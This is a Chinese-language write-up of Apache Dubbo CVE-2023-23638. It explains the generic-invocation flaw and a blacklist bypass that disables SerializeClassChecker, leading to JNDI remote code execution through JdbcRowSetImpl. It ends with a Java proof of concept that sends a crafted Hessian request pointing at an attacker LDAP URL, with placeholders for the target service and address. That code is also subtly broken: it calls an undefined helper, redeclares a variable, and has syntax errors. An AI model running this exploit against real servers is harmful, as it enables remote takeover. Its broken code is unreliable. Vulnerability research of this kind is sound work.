Dubbo-CVE-2023-23638

前言

由于前段时间研究过一阵的hessian,在看到这个洞出来的时候就去关注了。因为上次的漏洞之后,hessian直接改为反序列化只能继承序列化接口的类了,之后基本就没有什么研究价值了。仔细一看这个洞是dubbo另外一个功能的漏洞,正好复现分析一下,顺便熟悉一下dubbo

dubbo

Dubbo是一款Java RPC框架,致力于提供高性能的RPC远程服务调用方案。Dubbo 作为主流的微服务框架之一,为开发人员带来了非常多的便利。Dubbo主要提供了3大核心功能:面向接口的远程方法调用,智能容错和负载均衡,以及服务自动注册和发现。这次的漏洞就是远程方法调用中出现的漏洞

dubbo的核心组件

1)注册中心(registry)

生产者在此注册并发布内容,消费者在此订阅并接收发布的内容。

2)消费者(consumer)

客户端,从注册中心获取到方法,可以调用生产者中的方法。

3)生产者(provider)

服务端,生产内容,生产前需要依赖容器(先启动容器)。

4)容器(container)

生产者在启动执行的时候,必须依赖容器才能正常启动(默认依赖的是spring容器),

5)监控(Monitor)

统计服务的调用次数与时间等。

dubbo调用流程

1、服务提供者启动,开启Netty服务,创建Zookeeper客户端,向注册中心注册服务;

2、服务消费者启动,通过Zookeeper向注册中心获取服务提供者列表,与服务提供者通过Netty建立长连接;

3、服务消费者通过接口开始远程调用服务,ProxyFactory通过初始化Proxy对象,Proxy通过创建动态代理对象;

4、动态代理对象通过invoke方法,层层包装生成一个Invoker对象,该对象包含了代理对象;

5、Invoker通过路由,负载均衡选择了一个最合适的服务提供者,在通过加入各种过滤器,协议层包装生成一个新的DubboInvoker对象;

6、再通过交换成将DubboInvoker对象包装成一个Reuqest对象,该对象通过序列化通过NettyClient传输到服务提供者的NettyServer端;

7、到了服务提供者这边,再通过反序列化、协议解密等操作生成一个DubboExporter对象,再层层传递处理,会生成一个服务提供端的Invoker对象;

8、这个Invoker对象会调用本地服务,获得结果再通过层层回调返回到服务消费者,服务消费者拿到结果后,再解析获得最终结果。

这边demo全部参照官方用例https://github.com/apache/dubbo-samples

漏洞分析

先去diff一下代码看看这次修复的地方是哪https://github.com/apache/dubbo/commit/4f664f0a3d338673f4b554230345b89c580bccbb#diff-c9002571855ba4e5eb625b72c81307ed8bf189f5ab757652320cc843738040b7

可以看到他加了一个验证,和hessian一样现在都只能支持继承了序列化的类,一开始我以为是某个没继承的类绕过了黑名单,然后去看了一下漏洞通报,说是dubbo泛化功能出现的问题,然后就去看了一下具体代码实现

具体会调用到org.apache.dubbo.rpc.filter.GenericFilter#invoke

这里提取出数据,对不同的类型用不同的方法进行方法调用

image-20230316192805001

可以看到补丁主要是修复了 PojoUtils.realize 方法和 JavaBeanSerializeUtil.deserialize 方法,这两个类的方法逻辑是一样的 大致都是

1
2
3
若pojo为Map实例,则从pojo获取key为“class”的值,并通过反射得到class所对应的类type,再判断对象的类型进行下一步处理
如果type不是Map的子类、不为Object.class且不是接口,则进入else,在else中,对type通过反射进行了实例化,得到对象dest
再对pojo进行遍历,以键名为name,值为value,调用getSetterMethod(dest.getClass(), name, value.getClass());获取set方法

image-20230316193453586

image-20230316193609285

说白了就是会调用对象的setter方法,去完成对象的实例化。这里的流程都是先反射获取类,然后通过无参构造函数(或空Object)实例化,获取到对象之后再通过setter方法设置相应的值。这里有个关键的地方如果有属性没有相应的setter方法,就会直接反射赋值。

当时调试到这的时候我以为是某个不在黑名单中的类存在可以被利用的setter方法(甚至拿tabby扫了一遍。后面去看了一下更新之后的黑名单发现没有变化,

原本在这陷入僵局,突然想到这里有getField可以直接赋值,看一下黑名单验证的具体代码

image-20230316195517229

如果可以直接修改这个类的这个属性,那么就可以直接跳过整个验证黑名单的过程。

image-20230316200420915

然后这个位置,必须要设置一个INSTANCE不然为空会出现新建一个类,就会重置前面的属性。所以创建一个SerializeClassChecker对象并设置OPEN_CHECK_CLASS为false,然后让INSTANCE不为空就可以直接跳过黑名单验证。然后就可以通过常用的com.sun.rowset.JdbcRowSetImpl来通过jndi造成rce

https://tttang.com/archive/1730/#toc_cve-2021-30179

参照之前这个功能的cve可以写出poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
public static void main(String[] args) throws Exception {
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();

// header.
byte[] header = new byte[16];
// set magic number.
Bytes.short2bytes((short) 0xdabb, header);
// set request and serialization flag.
header[2] = (byte) ((byte) 0x80 | 2);

// set request id.
Bytes.long2bytes(new Random().nextInt(100000000), header, 4);
ByteArrayOutputStream hessian2ByteArrayOutputStream = new ByteArrayOutputStream();
Hessian2ObjectOutput out = new Hessian2ObjectOutput(hessian2ByteArrayOutputStream);

// set body
out.writeUTF("2.7.21");
// todo 此处填写Dubbo提供的服务名
out.writeUTF("org.apache.dubbo.spring.boot.demo.consumer.DemoService");
out.writeUTF("");
out.writeUTF("$invoke");
out.writeUTF("Ljava/lang/String;[Ljava/lang/String;[Ljava/lang/Object;");
// todo 此处填写Dubbo提供的服务的方法
out.writeUTF("sayHello");
out.writeObject(new String[] {"java.lang.String"});

// POC 1: raw.return
// getRawReturnPayload(out, "ldap://127.0.0.1:8087/Exploit");

// POC 2: bean
getBeanPayload(out, "ldap://127.0.0.1:1389/xitdbc");

// POC 3: nativejava
// getNativeJavaPayload(out, "src\\main\\java\\top\\lz2y\\1.ser");

out.flushBuffer();

Bytes.int2bytes(hessian2ByteArrayOutputStream.size(), header, 12);
byteArrayOutputStream.write(header);
byteArrayOutputStream.write(hessian2ByteArrayOutputStream.toByteArray());

byte[] bytes = byteArrayOutputStream.toByteArray();

//todo 此处填写Dubbo服务地址及端口
Socket socket = new Socket("127.0.0.1", 9999);
OutputStream outputStream = socket.getOutputStream();
outputStream.write(bytes);
outputStream.flush();
outputStream.close();
}
private static void getRawReturnPayload(Hessian2ObjectOutput out, String ldapUri) throws IOException {
HashMap jndi = new HashMap();
jndi.put("class", "org.apache.dubbo.common.utils.SerializeClassChecker");
jndi.put("OPEN_CHECK_CLASS", False);
HashMap map = new HashMap();
map.put("class", "org.apache.dubbo.common.utils.SerializeClassChecker");
map.put("INSTANCE", jndi);
HashMap map1 = new HashMap();
map1.put("class", "com.sun.rowset.JdbcRowSetImpl");
map1.put("dataSourceName", ldapUri);
map1.put("autoCommit",TRUE);
HashMap map2 = new HashMap();
map2.put("1",map);
map2.put("2",map1)
out.writeObject(new Object[]{map2});

HashMap map = new HashMap();
map.put("generic", "raw.return");
out.writeObject(map);
}